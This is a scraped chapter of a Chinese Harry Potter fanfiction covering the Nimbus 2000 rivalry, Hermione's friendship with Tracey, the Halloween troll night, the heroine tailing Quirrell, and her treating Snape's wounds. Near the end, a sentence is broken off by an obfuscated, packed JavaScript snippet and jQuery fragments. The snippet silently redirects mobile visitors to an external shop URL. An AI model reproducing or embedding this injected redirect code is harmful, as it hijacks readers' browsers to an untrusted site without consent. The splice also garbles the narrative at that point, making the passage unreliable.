文趣网 > 都市小说 > [HP]暗流之下 > 16. 第 16 章
    巫师决斗夜之后的那几天,斯莱特林和格兰芬多之间弥漫着一种微妙的和缓。德拉科在走廊里遇见哈利时,依然会抬着下巴走过,偶尔抛出一两句“波特,你那天的石化咒练好了吗”或者“下次记得瞄准一点”,但语气里少了那种尖锐的、要刻意刺伤人的恶意。哈利通常会回一句“你的塔朗泰拉舞也不怎么样”,两人隔着几步的距离互相瞪一眼,然后各自走开。没有升级成更激烈的冲突,也没有再约什么午夜决斗。

    艾丽莎注意到了这种变化,但没有点破。她只是在路过公共休息室的时候看见马尔福正跟克拉布和高尔说话,语气比之前随意了许多,不像是在布置什么对付波特的计划,更像是在讨论魁地奇球队的哪个队员最近状态不好。

    这份微妙的和平在十月第二周的一个早晨被彻底打破了。

    那天早上,礼堂里的猫头鹰像往常一样呼啦啦地飞进来。艾丽莎正在往吐司上抹黄油,忽然听见格兰芬多长桌那边传来一阵动静——一阵压低了的、兴奋的嗡嗡声。她抬起头,看见一只巨大的谷仓猫头鹰正笨拙地降落在哈利面前,爪子里抓着一个长长的、用厚布包裹的包裹。包裹落在桌面上时发出沉闷的声响,像里面装着什么沉重而结实的家伙。

    哈利拆开包裹的时候,周围好几个人的脑袋都凑了过去。布掀开的瞬间,一抹深色的木质光泽和闪闪发亮的金属部件露了出来——一把扫帚。不是学校仓库里那种旧得掉渣的普通飞行扫帚,而是一把全新的、线条流畅的、尾部的枝条修剪得整整齐齐的高端扫帚。

    光轮2000。

    “光轮2000?!”罗恩的声音没压住,连隔了几张桌子的斯莱特林这边都听到了。

    马尔福手里那杯南瓜汁顿在了半空中。他的目光越过长桌落在那把扫帚上,脸上的表情像被人按了暂停键。艾丽莎看见他的嘴唇抿紧了,下巴的线条变得比平时更硬。他手里的杯子慢慢放回桌面,但手指没有松开,指节微微泛白。

    那是光轮2000,彗星260的全面升级款,最新型号、速度更快、操控更精准、几乎是专业级比赛扫帚的标配。而马尔福自己用的那把彗星260,是他父亲买给他的入学礼物。他曾经拿它在飞行课上炫耀过好几次,那把扫帚被保养得干净锃亮,尾部枝条齐整到一根不差。

    他只有彗星260。

    但波特有了光轮2000。

    “不过是一把扫帚。”马尔福的声音从旁边传过来,刻意放大了,像是在说给整条长桌听,“光轮2000也没那么了不起,市面上很快就要换代了。我父亲说他在联系光轮公司,帮我定一把更快的。”

    克拉布在旁边配合地点着头,但艾丽莎注意到马尔福说完这句话之后,嘴角的弧度是硬的——他压着情绪压得很努力,但攥着杯子的手指出卖了他。那天早上的麦片粥他没怎么动,放下勺子的时候勺柄碰到瓷碗发出了一声比平时稍响的咔嗒声。

    从那之后,那种微妙的和平消失了,马尔福看哈利的目光又带上了以前那种尖锐的敌意,甚至比以前更刺人。

    他不再只是随口嘲讽了,他开始更认真地研究怎么在走廊里“恰好”挡住哈利的去路,怎么在魁地奇训练场边大声评论光轮2000的“设计缺陷”。

    而哈利那边,有了新扫帚之后整个人都轻快了不少,罗恩围着他转了好几圈,赫敏虽然嘴上没说什么但目光也在那光滑的木柄上停了好几次。

    日子在这种暗流涌动中一天天过去,十月的霍格沃茨渐渐凉了下来。走廊里的风带着干枯落叶的气味,城堡外的草坪开始结薄霜,天暗得一天比一天早。

    每个周末,艾丽莎和特雷西依然会去图书馆靠角落的那张小桌子占位置。自从那次书馆相遇之后,赫敏加入她们成了固定的习惯。她通常比她们早到十分钟,桌面上已经摊开了两三本书和一大卷羊皮纸,等她们到的时候她会抬起头,微笑着招呼她们坐下。

    她们会在那里待整个上午,有时候吃过午饭又回来继续。三个人各自看各自的书,偶尔低声交流一句某个咒语的发音或者某段历史的疑点。赫敏看书的速度让艾丽莎印象深刻——她不是一行一行读的,而是一页一页地翻,眼睛快速扫过,像一台人形扫描仪。

    特雷西则习惯边看边记,她的笔记工整细密,每一页的边角都画着小小的示意图。

    有一次赫敏整理资料时无意中问了一句特雷西的家族背景。

    特雷西的回答很平静:“我爸爸是巫师,妈妈是麻瓜。”

    赫敏翻书页的手停了一下,抬起头来看着特雷西。她的表情先是意外,然后是某种像是困惑被解开的恍然,接着化成了一种更深的、带着认同的亲近。

    “真的?”她的声音比平时高了一点,“你妈妈——你是在麻瓜环境里长大的?”

    “上小学之前是,”特雷西说,“后来我爸爸觉得我需要提前接触魔法世界,就搬到了巫师聚居区。但我小时候在麻瓜学校待过几年。”

    赫敏的眼睛亮了起来。她放下手里那本厚重的书,身体微微前倾,像是忽然找到了一个能听懂她某种语言的人。“你也学过麻瓜数学?”

    “乘法表,分数,小数——学过。”

    “科学?”

    “地球绕着太阳转,水变成冰是物理变化——都学过。”

    赫敏笑了,那种笑容不是礼貌的、社交式的微笑,而是一种“终于有人跟我一样”的、带点如释重负的欢喜。

    她往椅子背上靠了一下,整个人放松了许多,然后她开始用一种比平时更快的语速跟特雷西聊起来——聊她们小时候在麻瓜学校学的那些东西,聊科学和魔法的差异,聊她在第一次收到霍格沃茨通知书之前还以为自己是“怪胎”的感受。

    特雷西安安静静地听着,偶尔接一句“我也是”或者“我那时候也觉得奇怪”,她的嘴角弯着,表情很柔和。

    艾丽莎坐在旁边翻着那本暗绿色的旧书,听着她们的对话,没有插话。她的目光扫过书页上古旧的文字,余光里赫敏和特雷西的脑袋凑在一起,正在低声讨论麻瓜的代数知识和巫师的变形术理论哪个更难。

    窗外的阳光从高窗斜照进来,在桌面中央划出一道金黄色的长痕,落在三只笔尖和一堆摊开的笔记之间。

    她翻过一页书,嘴角弯了一下,继续看了下去。

    ……

    万圣节前夜的宴会比平时更加热闹,礼堂的天花板被施了魔法,变成一片深秋的暗紫色穹顶,上面挂满了数百只被施了漂浮咒的南瓜灯,每只南瓜都被雕刻成不同表情的脸——有的在咧嘴笑,有的在翻白眼,有的吐着舌头。

    蜡烛也换了颜色,橘红色的火焰在烛台顶端跳动,把整间礼堂染成一片暖融融的、带着节日气息的暗金色。

    长桌上的食物比平日丰盛了一倍,烤火鸡堆成小山,南瓜馅饼摞得高高的,还有一大堆用糖浆浇成蝙蝠形状的点心。

    艾丽莎坐在斯莱特林长桌靠中间的位置,正切着一块烤南瓜,她刚把叉子举到嘴边,余光扫过格兰芬多长桌那边,看见帕瓦蒂·佩蒂尔正侧着头跟拉文德·布朗咬耳朵。拉文德脸上带着一种介于同情和好奇之间的表情,佩蒂尔的声音压得很低,但艾丽莎坐得不远,还是捕捉到了几个零散的词:“……女厕所……哭得可伤心了……还不让别人进去……”

    艾丽莎的叉子顿了一下,她顺着佩蒂尔的目光看了一眼格兰芬多长桌那边,没看见赫敏。

    哈利坐在靠前的位置,面前摆着一盘几乎没怎么动的火鸡,脸上的表情带着明显的讪讪。罗恩坐在他旁边,正低着头用叉子戳盘子里的土豆泥,戳出一个又一个坑,动作带着一种不太自在的机械感,像是用吃饭来掩盖别的什么情绪。

    艾丽莎的脑海里弹出了那个画面——赫敏趴在女生盥洗室的水池边,哭得肩膀一耸一耸的,而这一切的起因,就是那句“怪不得大家都受不了她”。

    她知道这个情节,早在她第一次读完那本书的时候就在脑子里留下了印象。赫敏因为魔咒课上表现得太出风头,被罗恩那句伤人的话刺得躲进了盥洗室,而整个万圣节宴会上,她独自一个人在那里哭了几个小时。

    艾丽莎低头看着自己的盘子,叉尖悬在那块烤南瓜上面,没有动。

    她短暂地想了一下要不要起身去女厕所,赫敏现在一定很难过,她认识赫敏的时间虽然不长,但每个周末图书馆里的相处让她们之间有了某种心照不宣的默契。

    如果她就这么站起来穿过礼堂,拐进那条走廊,推开门走进去,她可以对赫敏说“别哭了”,可以坐在她旁边陪她一会儿,可以告诉她“那句话不是真的”。

    但她没有动。

    因为她知道今晚会发生什么,巨怪会闯进城堡,奇洛会在大厅里尖叫引开人群,然后哈利和罗恩会记起赫敏在女厕所,他们会跑过去救她,三个人合力击倒巨怪。那是铁三角故事的起点,是那份友谊被真正焊在一起的那一锤。

    如果她去了,如果她提前把赫敏从女厕所里带出来了,那一切就不会按照它本该有的轨迹发生。她不想改变,也害怕改变。

    艾丽莎把叉子上的烤南瓜送进嘴里,慢慢地嚼着,南瓜的甜味在舌头上散开,温热而绵软。她咽下去,又切了一块。

    格兰芬多长桌那边,佩蒂尔和拉文德还在低声说着什么,哈利的表情比刚才更不自在了,他看了罗恩一眼,罗恩回看了他一眼,两个人同时低下头。

    艾丽莎把目光收回来,落在自己面前的盘子里。她想起赫敏在图书馆里翻书时鼻尖几乎贴到纸面的样子,想起她说“你在查蛇佬腔“时那瞬间惊慌又随即压下去的表情,想起她发现特雷西是混血时眼睛里亮起来的光。

    赫敏会没事的,今晚之后,她会有两个愿意在巨怪面前跑去找她的朋友,她不会一直是那个在女厕所里哭的女孩。

    艾丽莎把最后一块南瓜吃完,用餐巾擦了擦手。她端起面前的南瓜汁抿了一口,目光扫过礼堂门口。奇洛不在座位上,头顶墨蓝色的穹顶上南瓜灯摇晃着橘色的光,整个大厅沉浸在喧闹的节日气氛里,没有人知道几个小时后会发生什么。

    她放下杯子,转过头跟特雷西聊起了变形课下周要学的咒语。

    特雷西正在往一块面包上抹黄油,说了一句“麦格教授好像说过下周要练把老鼠变成鼻烟壶”,艾丽莎应了一声“那个难度比甲虫变纽扣大不少”,两个人顺着这个话题聊了下去。

    过了大约二十分钟,礼堂的大门被砰地推开了,奇洛教授跌跌撞撞地冲进来,紫色的大围巾歪到一边,脸色惨白得像一张皱了的纸。他张着嘴,喘了好几口气才挤出一句话,声音尖锐得刺穿了所有喧哗:“巨怪——在地下教室里——”然后他眼珠一翻,整个身体软倒下去,脸朝下砸在了石板地上,发出一声沉闷的“咚”。

    礼堂里安静了一瞬,然后尖叫声炸开了。学生们从椅子上弹起来,椅子腿刮擦地面的声音像一连串刺耳的刮痕。邓布利多教授的声音从教师席传过来,沉稳而响亮,穿过混乱像一道压住了所有浪头的墙:“肃静——所有级长,把学生带回各自学院的公共休息室——”

    教师们迅速行动起来,麦格教授快步走向格兰芬多长桌,斯普劳特教授在对赫奇帕奇那边喊着什么,弗立维教授站在椅子上挥舞着魔杖指挥疏散路线。

    艾丽莎从座位上站起来,跟着斯莱特林的人群往门口移动,特雷西在她旁边,脸上带着一点紧张,但脚步很稳。

    走到门口的时候,艾丽莎侧过头看了一眼格兰芬多那边——哈利和罗恩正在人群里往前挤,方向跟其他格兰芬多学生相反。他们的脸埋在人群中,但艾丽莎看见了,他们正逆着人流往外走,朝那条通往地下教室的走廊方向移动。

    她收回目光,跟着斯莱特林的队伍离开,身后的礼堂里一片混乱,南瓜灯还在天花板上晃着橘色的光,奇洛教授脸朝下趴在地上没有人管。艾丽莎往前走了一步又一步,她的脚步不快不慢,混在人群里,和所有普通的学生一样,正被级长领着往安全的地方去。

    在即将拐进通往斯莱特林公共休息室走廊的拐角时,艾丽莎目光掠过教师席。

    帕特里特还站那里,他的视线在人群里快速扫了一圈,准确地落在了她身上。那目光里的意思很清楚“规规矩矩回休息室,不要乱跑。”他微微皱了一下眉,幅度很小,但艾丽莎看懂了。她垂下目光,混在人群里继续往前走,脚步没有停顿。

    她的余光还捕捉到了另一个人,斯内普站在教师席另一端,黑色的袍子在橘色烛火下显得格外冷暗。他双眼一动不动的盯着倒地的奇洛,眼底掠过一道极快的光——那种光不是意外,不是慌张,而是一种审视。像一个人在瞬间判断了一个场景的真伪,然后他转身了,黑袍的边角在空气中甩出一道墨色的弧线,脚步快得像一阵风刮出了礼堂侧门,朝主楼方向健步而去。

    艾丽莎心里快速地盘算了一下:巨怪在地下教室,但斯内普去的方向不是地下——那是通往主楼的路,他是要去确认魔法石的安全,这敏锐的洞察力!

    她在人群经过走廊第一个转角时放慢了脚步,退到了队尾。周围的斯莱特林学生正跟着级长往前走,没有人注意到她在最后面。她侧身闪进一处熄了烛火的壁龛,从口袋里摸出魔杖,压低声音念了一句:“幻身隐形。”

    一层冰冷的、像水银从头顶浇下来的触感覆盖了她的全身。她低头看了一眼自己的手——轮廓还在,但颜色和光线已经和身后的石墙融为一体,像一截透明的影子。她轻轻往外走了一步,脚步声被咒语压低到几乎不可闻的程度。

    她沿着来时的路回到礼堂侧门口,侧身挤进缝隙,在一座巨大的石柱后面站定。礼堂里已经空了,长桌上的食物还冒着余温,南瓜灯在天花板上安静地晃荡着橘色的光,奇洛教授依然脸朝下趴在地上,姿势没有变过。

    艾丽莎屏住了呼吸。

    奇洛趴在那里,一动不动,持续了大约十几秒。然后他的手指动了动,紧接着是整个身体——他开始慢慢地、从地上撑起来。动作很慢,像在确认周围没有别人。他站起来的时候脸上的表情已经变了,不再是那种颤抖的、慌张的、眼珠翻白的样子,而是一种平静到近乎冰冷的笃定。他伸手拍了拍袍子上的灰,目光朝斯内普离去的方向看了一眼。

    艾丽莎贴着石柱,一动不敢动。幻身咒覆盖着她的全身,她甚至不敢用力呼吸。

    艾丽莎的手指在魔杖柄上收紧了半寸,奇洛没有使用幻身咒,他就这么大摇大摆地走在走廊里,只是脚步轻、路线熟,像一只在自家领地上散步的猫。他好像不在乎会不会被人看见——或者更准确地说,他不在乎被谁看见。

    他走的是去往四楼禁区的路,那条路艾丽莎在一个多月前的夜晚已经跑过一遍了,每一个转角、每一段楼梯都印在她脑子里。

    她在心里快速拼凑着这个画面的含义:奇洛不在乎被看见。这意味着要么他确信今晚所有人都在忙着处理巨怪,没有人会注意到他,要么他就是在故意让某个人看见。

    斯内普刚才离开的方向是四楼,奇洛跟上去的方向也是四楼。他不隐身,不遮掩,脚步平缓得像在散步,他像是在让斯内普知道他来了。

    艾丽莎跟在他后面,保持着大约二十步的距离,幻身咒覆盖着她的全身,她能感觉到魔力的消耗像细沙一样从身体里缓缓流走——未成年巫师的魔力不足以长时间维持这种咒语,她每隔一小段路就要偷偷补一次,杖尖的动作小到几乎看不出来。但奇洛确实没有回头,他一次也没有停下来张望或警惕地扫视四周,他只是走着,像确认了整条走廊里只有他一个人。

    四楼走廊尽头那扇熟悉的橡木门出现在前方。奇洛走到门前站定,他伸出手,手指在门把手上方大约一寸的位置悬停了一瞬——像在感知什么——然后他又退回,走到走廊一侧墙壁与帷幔之间的缝隙处藏了起来。

    艾丽莎也把自己嵌进走廊拐角处一块凹进去的壁龛里。她等了几秒,听到门里传来极其微弱的声响——不是脚步,更接近某种低沉的、模糊的鼻音。然后门被从里面猛地推开了,斯内普跌跌撞撞地闪了出来。

    他的袍子有一截卷到了手肘处,左手握着魔杖,杖尖还亮着一点微弱的银光。他的呼吸比平时快了一些,脸上那种惯常的、冰冷的从容有了一丝松动,像被什么东西稍微划了一下边缘。他站定之后,目光迅速扫过走廊两侧,在左前方的阴影处停了一拍。

    艾丽莎顺着他目光的方向看过去,那是奇洛藏身之地。

    斯内普盯着那团阴影看了两三秒,他没有动,也没有说话。然后他收回了目光,像什么都没看见一样转身朝楼梯方向走去。他的脚步很快,袍摆掀起一阵风,走下楼梯拐角时连头也没回。

    他去找巨怪了。

    走廊里安静下来,那团阴影还贴在墙角,一动不动。几秒后,阴影的边缘轻微地动了一下,像一个人调整了站立的姿势。艾丽莎藏在壁龛里,幻身咒覆盖着她的全身,她连心跳都放慢了半拍。

    奇洛还站在那里,他也在等,等斯内普走远,等他确认没有人会再折返回来。

    大约过了两分钟,奇洛从阴影里走了出来,他快步走到那扇木门前,伸手推开了它,门缝里透出一丝微弱的光,照在他侧脸上半秒,然后他侧身挤了进去,门板合拢,走廊恢复了完全的安静。

    艾丽莎从壁龛里闪出来,她没有上前,就连走到门口都不敢。

    艾丽莎退后半步,转身往来时的方向走,直到拐进通往斯莱特林地窖的那条走廊时她才解除了幻身咒,身体重新在空气里显形,从那种冰冷的覆盖感中脱出来,温热逐渐回到自己皮肤之下。

    艾丽莎在公共休息室的石墙前面停了片刻,低声说出了口令,石墙无声地滑开了。

    特雷西正坐在壁炉边的扶手椅上看书,见她进来抬头看了一眼,没有多问。

    艾丽莎走过去在她旁边的位置坐下,壁炉里幽绿色的火焰跳动了一下,把两个人的影子投在地毯上,交叠在一起。

    “你错过了斯莱特林关于巨怪会不会吃人的八种讨论,”特雷西语气淡淡地说,“级长很生气,说有人半路掉队了。”

    “人多太挤,崴到脚了,”艾丽莎说,“在楼梯上坐着缓了会儿。”

    特雷西看了她一眼,没有追问。她翻了一页书,把旁边的毯子往艾丽莎那边推了推:“烤火吧,你手都是冰的。”

    艾丽莎把毯子裹在肩上,靠在椅背里。

    壁炉的热度还没有完全渗进指尖,艾丽莎忽然坐直了身体。她捏了捏手袋的边缘,脑海里那个画面

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822099|211165||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    反复地回放着——斯内普跌出木门时袍子卷到手肘,呼吸急促,他受伤了。虽然他在奇洛面前维持了表面的镇定,但那截卷起的袖口下面,艾丽莎隐约记得有道暗色的痕迹,像是被什么锐利的东西划过。

    他检查魔法石的时候出了事,巨怪还没有被解决,而他带着伤去处理了。

    艾丽莎转头看向特雷西,特雷西正翻着书页,睫毛在壁炉的光线下投出一小片阴影。“我得去一趟院长办公室,”艾丽莎说,“忽然想起有件事要跟斯内普教授确认。”

    特雷西的目光从书页上抬起来,带着一丝探寻。“现在?巨怪的事还没完全解决——”

    “很快回来,”艾丽莎已经站起来了,把毯子叠好放在椅子扶手上,“你先睡吧,不用等我。”

    特雷西看了她两秒,然后点了点头,没有追问。她合上书站起来,往宿舍方向走了两步,又回头看了艾丽莎一眼:“别在走廊里崴第二次脚。”

    艾丽莎嘴角弯了一下,点了点头,等特雷西的身影消失在宿舍门口,她转身朝公共休息室的出口走去。

    艾丽莎从公共休息室的石墙后面走出来时,走廊里静得只剩下烛火偶尔跳动的噼啪声,她沿着台阶往上走,在通往斯内普办公室的走廊拐角处猛地顿住了。

    斯内普正从楼梯方向走下来,他的步子不像平时那样稳健,右腿微微拖着,每走一步都像在压住什么痛楚。黑色的袍子有一侧被撕开了,从肩胛骨附近一直裂到手肘,边缘的布料上洇着一片暗色的、比黑色更深的湿润痕迹。他看见艾丽莎的时候停下了脚步,那双黑眼睛在昏暗的烛火下审视着她,像两道冷而锋利的探针。

    “安布罗斯。”他的声音很低,带着那种惯常的、压着不耐烦的凉意,“宵禁时间已经过了。你从公共休息室出来,要去哪里?”

    艾丽莎的手指在斗篷下微微蜷了一下,她飞快地在脑子里拼了一个借口:“我听说格兰杰被困在地下教室的盥洗室附近,怕她遇到巨怪——正想去找您问问情况。”

    斯内普盯着她看了两秒,嘴角的线条没有变化。“没有学生受到巨怪伤害。”他的语气平得像一块石板,“格兰杰小姐已经安全返回格兰芬多塔楼了,现在你该回去休息。”

    他说完就准备继续往前走,但抬腿的那一瞬间,他身体的左侧不自然地僵了一下,像是某个动作牵动了伤口。艾丽莎的目光落在他左臂处——那截撕裂的袍子边缘,暗黑色的血迹已经在布料上凝成了半干的硬块,袖口下方的皮肤若隐若现地露出几道深色的伤口边缘。

    “教授——”艾丽莎开口了,声音比她自己预想的更稳,“您的腿受了伤。左臂上的伤口也需要处理。您一只手——没办法清创。”

    斯内普的脚步停住了,他半侧过身看了她一眼,烛火在他深陷的眼窝里投下浓重的阴影,让人看不清表情。走廊里安静了好几秒,只有火焰在壁龛里跳动的声音。

    然后他说了一句话,声音低得像是从喉咙深处刮出来的:“跟上来。”

    艾丽莎跟在他身后走进了办公室,门在她背后合拢时发出沉闷的咔嗒声。斯内普走到书桌旁边的魔药工作台前,伸手把椅子转了个方向坐下,左臂伸到台面边缘时动作幅度很小,但艾丽莎注意到他的指尖微微颤了一下。

    她拉开手袋的搭扣,从里面拿出一个小皮卷,展开的时候里面一排银色的工具在烛火下泛着冷而细碎的光——秘银手术刀、镊子、探针,每一件都擦得干干净净。她又在袋底摸出一个小小的水晶瓶,里面装着透明液体,瓶身上用褪色的墨水标着“70%”。

    斯内普的目光在那套工具上停了一瞬,但什么也没说。他把左臂翻过来,手掌朝上搁在工作台面上,手指微微蜷曲着。

    艾丽莎用酒精浸透了棉纱布,先擦拭伤口周围的皮肤。布料擦过伤口边缘时,斯内普的呼吸节奏没有变,但下颌的肌肉收紧了一线。血迹被清理开后,伤口显露出全貌——比她想象中更糟糕,几乎是贯穿伤,有三处齿印,边缘的皮肉向外翻卷着,露出发暗的、带着灼烧痕迹的创面,伤口周围还有一圈诡异的青紫色,像什么东西的毒液正在向四周的皮肤缓慢扩散。

    三头犬的牙齿里带着某种腐蚀性的东西。

    艾丽莎的手指在手术刀的刀柄上停了一瞬,她能感觉到自己的指尖微微发凉,但很快她深吸了一口气,在心里默念:快速、精准、冷静,迟疑只会延长痛苦。

    她握稳了刀柄,开始清除伤口边缘已经坏死的、泛着青紫色筋络的皮肤组织。

    斯内普始终没有出声,他坐在那里,后脑靠着椅背,双眼紧闭,下颌的肌肉不时抽紧一下,但从头到尾没有发出任何声响。只有偶尔从他喉咙深处泄出一丝极轻的、被压到几乎不可闻的气息,像一个人在把剧烈的痛楚硬生生地按回体内。

    艾丽莎处理完腿部一处较浅的撕裂伤后,把注意力转回手臂,坏死组织的范围比她想的大一些,她的动作保持平稳,刀锋沿着创面的边缘推进时没有犹豫。等到所有发暗的、无血色的组织都被清除干净时,她感觉到自己的后背已经被冷汗浸透了。

    她从手袋里又摸出一只小瓶,里面是紫褐色的液体——白鲜香精。她拧开瓶盖,顺着伤口的走向均匀地滴下去,液体接触到创面的瞬间,伤口表面腾起一层细密的绿色烟雾,伴随着细微的滋滋声,像热油滴上湿润的石头。新鲜的皮肤组织正在从伤口底部向上生长——这个过程极其缓慢,带着一种肉眼勉强可察的、像是植物抽芽般的律动。

    艾丽莎不敢想象这个过程有多痛苦,她抬起头看了一眼斯内普,他的眼睑闭着,烛火在他苍白的脸上投出棱角分明的阴影,嘴唇抿成一条几乎看不见的线,他的呼吸依然平稳,只有那根绷紧的下颌线透露着什么。

    她趁着白鲜香精生效的间隙,第一次仔细打量这间办公室,整间屋子比她印象中更暗,因为地处地下,自然光完全透不进来,壁炉里跳动的火焰不算旺盛,书桌上几支蜡烛的烛光被玻璃罐折射成细碎的光斑,连成一片幽沉的、墨绿与暗黑交织的底色。

    书桌是很厚重的黑檀木,桌面上有几道细长的划痕,被擦拭保养得很好,带着光泽的包浆。桌面上摆着一叠学生的羊皮纸作业,最上面那一张能看见边角处用红墨水批了一行字,字迹锋利得像是用刀刻的。

    椅背后面是整面墙的书架,整整齐齐塞满了深色皮革包边的书籍,有些书脊上的金字已经模糊了,辨不清年代。工作台上的瓶瓶罐罐排列得极有纪律——刀具挂在木架上一字排开,研钵和水晶瓶按照大小次序收在台面内侧,连多余的浮尘都看不见。

    工作台尽头的储藏柜里,各种颜色的液体在玻璃瓶中映着壁炉的光,有些是极深的靛蓝,有些是近乎透明只在晃动时泛出一线珠光的乳白。角落里有些浸泡着形态各异的东西,在摇晃的光影里模糊成一团一团的轮廓。

    办公室右手边还有一道没有门的小隔间。里面几乎没有光线,只能隐约看见墙角一个石制水槽的轮廓——因为水滴的声音正从那边传来,一下一下,规律而清冷,像细针轻轻扎在石面上。水槽前方有一张长条工作台,上面摊着什么深色的、像是某种植物根茎的材料,旁边搁着几件看起来非常老旧的工具。她移开目光,心想那大概就是传说中的禁闭室——或者更准确地说,材料处理室。

    整间办公室里除了书桌后的那把椅子,没有再为任何人准备座位。没有会客用的扶手椅,没有让学生坐的小凳子。这是一间彻底的工作空间,一个为封闭而生、不为交流而设的房间。

    白鲜香精的绿烟终于散尽了,伤口处的新鲜皮肤已经完全愈合,粉红色的、平滑的,没有留下疤痕的痕迹——因为清创及时,毒液残留也被彻底清除了。斯内普睁开眼,低头看了一眼手臂上新生的皮肤,沉默了片刻。

    然后他站起来,站起来的动作比之前自然了许多,腿上的伤口也已经愈合了。他把袍子重新拉好,遮住手臂上新愈的皮肤,目光从工作台上扫过,在那套秘银手术刀上停了一瞬,然后落在艾丽莎脸上。

    “我送你回公共休息室。”他说,语气恢复了那种惯常的、平稳的冷淡,“宵禁巡查还没有完全结束,费尔奇今晚格外警惕。被抓住扣分,对谁都没有好处。”

    艾丽莎把工具收进手袋里,站起来点了点头,她跟着他走出办公室,门在身后合拢时发出轻而沉的一声响。两个人走在空荡荡的走廊里,斯内普的脚步比来时稳了许多,步伐不快不慢,走在艾丽莎前面大约半步的位置,像一面沉默的屏障。

    他把她送到斯莱特林公共休息室入口附近便停下了。

    “进去。”他说,没有回头。

    然后他转身朝来路走去,黑色的袍子在地面上拖过一道淡影,很快融进了走廊深处的阴影里。

    艾丽莎站在原地看了片刻,然后低声说了口令,石墙在她面前无声地滑开了。她穿过公共休息室回到宿舍时,特雷西的呼吸声依然均匀而绵长。她躺进被子里,床幔垂落下来,把她裹进一方属于自己的、安静而温存的黑暗里。

    窗外的湖水在天花板上投出一片晃动的绿光。她闭上眼,脑海里浮过那道被清创干净的手臂上粉色新肤的纹理——像是某种脆弱而坚韧的东西正在努力地重新长成。她翻了个身,把脸埋进枕头里,慢慢沉入睡意。